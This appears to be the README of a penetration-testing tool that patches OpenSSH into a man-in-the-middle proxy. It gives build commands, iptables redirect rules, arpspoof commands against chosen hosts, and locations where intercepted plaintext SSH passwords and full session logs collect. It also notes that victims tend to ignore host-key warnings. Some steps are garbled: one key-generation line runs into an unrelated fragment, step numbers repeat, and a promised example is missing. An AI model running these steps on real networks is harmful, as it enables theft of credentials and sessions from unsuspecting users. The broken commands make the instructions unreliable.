This penetration testing tool allows an auditor to intercept SSH connections. A #patch applied to the #OpenSSH #v7.5p1 source code causes it to act as a proxy between the victim and a legitimate SSH server; all plaintext passwords and sessions are logged to disk.
Of course, the victim’s SSH client will complain that the server’s key has changed. Because 99.99999% of the time this is caused by a legitimate action (OS re-install, configuration change, etc), many/most users will disregard the warning and continue on.
NOTE: Only run the modified sshd in a VM or container! Ad-hoc edits were made to the OpenSSH sources in critical regions, with no regard to their security implications. Its not hard to imagine these edits introduce serious vulnerabilities. Until the dependency on root privileges is removed, be sure to only run this code on throw-away VMs/containers.
This is the first release of this tool. While it is very useful as-is, there nevertheless are things to improve:
Support SFTP MITM’ing.
Add port forwarding support.
Remove dependency on root privileges.
Create wrapper script that detects when user is trying to use key authentication only, and de-spoof them automatically.
1.) Install zlib and openssl headers:
sudo apt install zlib1g-dev libssl-dev
2.) Download OpenSSH v7.5p1 and verify its signature:
gpg –import RELEASE_KEY.asc
gpg –verify openssh-7.5p1.tar.gz.asc openssh-7.5p1.tar.gz
3.) Unpack the tarball, patch the sources, and compile it:
tar xzf openssh-7.5p1.tar.gz
patch -p0 < openssh-7.5p1-mitm.patch
mv openssh-7.5p1 openssh-7.5p1-mitm; cd openssh-7.5p1-mitm; ./configure –with-sandbox=no && make -j 10
4.) Create keys and setup environment:
sudo ssh-keygen -t ed25519 -f /usr/local/etc/ssh_host_ed25519_key < /dev/null
sudo ssh-keygen -t rsa -b 4096 -f /usr/local/etc/ssh_host_rsa_key /proc/sys/net/ipv4/ip_forward”
sudo iptables -P FORWARD ACCEPT
3.) Allow connections to sshd and re-route forwarded SSH connections:
sudo iptables -A INPUT -p tcp –dport 22 -j ACCEPT
sudo iptables -t nat -A PREROUTING -p tcp –dport 22 -j REDIRECT –to-ports 22
4.) ARP spoof a target(s) (Protip: do NOT spoof all the things! Your puny network interface won’t like be able to handle an entire network’s traffic all at once. Only spoof a couple IPs at a time):
arpspoof -r -t 192.168.x.1 192.168.x.5
5.) Monitor auth.log. Intercepted passwords will appear here:
sudo tail -f /var/log/auth.log
6.) Once a session is established, a full log of all input & output can be found in /home/bogus/session_*.txt.
In lol.h are two defines: DEBUG_HOST and DEBUG_PORT. Enable them and set the hostname to a test server. Now you can connect to sshd directly without using ARP spoofing in order to test your changes, e.g.:
To create a new patch, use these commands:
pushd openssh-7.5p1-mitm/; make clean; popd
diff -ru –new-file -x ‘*~’ -x ‘config.*’ -x Makefile.in -x Makefile -x opensshd.init -x survey.sh -x openssh.xml -x buildpkg.sh openssh-7.5p1 openssh-7.5p1-mitm/ > openssh-7.5p1-mitm.patch